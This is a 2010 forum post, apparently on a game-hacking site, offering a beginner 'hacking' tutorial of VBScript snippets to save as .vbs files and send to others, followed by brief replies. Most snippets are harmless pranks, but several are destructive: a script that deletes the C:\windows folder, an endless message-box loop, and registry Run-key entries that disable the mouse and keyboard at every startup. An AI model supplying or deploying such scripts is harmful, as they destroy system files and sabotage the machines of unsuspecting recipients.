Visual basic scripts

[*Praetor* 0]

(Edit with screen shots! click to see screen)

 

okay!

dont use this to create a virus or somthing els that other people may piss off!

 

Well i dont know were to put this so ill just post it right here

A little Tutorial for easy hacking, i hope you enjoy!

 

(yes, my computer is dutch)

 

1. Open notepad

2. put somthing in from below

3. save as .vbs (not as .vbs.txt but .vbs!)

4. open it, or send them to some one!

 

It will look like this on your desktop!

 

 

(Click) * Create a message:

msgbox "hey"

 

(Click) * Create a massage with a titel

X = msgbox ("hey", 1024, "ghbsys.net says: ")

 

(Click) * A other input:

strPtn = InputBox("2x4=...")

If (strptn) = 8 Then: msgbox "Well done"

do

If (strPtn) <>8 Then: strPtn = InputBox("SOM 2x4=...")

loop

msgbox "test test"

 

(Click) * Create a "Inputbox"

a=inputbox("what is your favorite website?")

msgbox "Really," +a

 

* "System Beep"

Set oWS = WScript.CreateObject("WScript.Shell")

oWS.Run "%comspec% /c echo " & Chr(07), 0, True

 

* Open CD/DVD:

Set oWMP = CreateObject("WMPlayer.OCX.7" )

Set colCDROMs = oWMP.cdromCollection

colCDROMs.Item(i).Eject

 

* Open and close Cdrom:

Dim oWMP

Dim colCDROMs, i

Set oWMP = CreateObject("WMPlayer.OCX.7")

Set colCDROMs = oWMP.cdromCollection

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

End If

oWMP.close

Set colCDROMs = Nothing

Set oWMP = Nothing

 

* Delete a folder:

(Warning: this will delete the "C:\windows" folder. change the folder name to delete a other folder)

' delete

Set fso = CreateObject("Scripting.FileSystemObject")

Set aFolder = fso.GetFolder("C:\windows")

aFolder.Delete

 

* Create a folder:

path = "C:\linux"

set filesys=CreateObject("Scripting.FileSystemObject")

If Not filesys.FolderExists(path) Then

Set folder = filesys.CreateFolder(path)

End If

 

* Open a folder:

Set WshShell = WScript.CreateObject ("WScript.Shell")

WshShell.Run ("C:\Windows")

 

* Repeat somthing:

(Warning: You can only stop this from the ¨Task manager¨)

do

msgbox "Hello!"

loop

msgbox"Text", optioneleschermsoortenknopsoorthier, "Titel"

 

(Click) * Open Wordpad and write somthing:

Set WshShell = WScript.CreateObject ("WScript.Shell")

WshShell.Run ("notepad.exe")

WScript.Sleep 100

WshShell.SendKeys "Hello!"

 

(Click) * Change name of internet-explorer:

Set shl = CreateObject("Wscript.shell")

Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","By GHBsys GAmEhAcKiNgBAsTeRs"

 

* Change PC name:

Set shl = CreateObject("Wscript.shell")

Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RegisteredOwner", "GHBSYS"

Warning: this scripts below may not work if you dont have XP or if you have more keyboards and mouses instaleded on your computer and if it does work it is your own fault if your keyboard doesnt work!

(you must reinstal it to let it work again)

 

* Disable mouse:

Set shl = CreateObject("Wscript.shell")

Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DisableMouse", "Rundll32.exe Mouse,Disable"

 

* Disable keyboard:

Set shl = CreateObject("Wscript.shell")

Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DisableKeyboard", "Rundll32.exe Keyboard,Disable"

 

 

It all works fine to me but some thing may not work some how but if it does i hope you can use it for somthing.

(i dont know for what and i dont care, just wanted to post this) -_-

This has been tested by me on XP and some friends tested it on Vista and some things didnt work on Vista thats all!

 

please press THX if you like it and leave a massage!

Edited August 7, 2010 by *Praetor*

[Golden. 14]

Ok..

People who make viruses are idiots, they help no one

And how do you know if i works ok for you? How do you stop it?

[Anghios 0]

Shl have error

[*Praetor* 0]

better now? -__-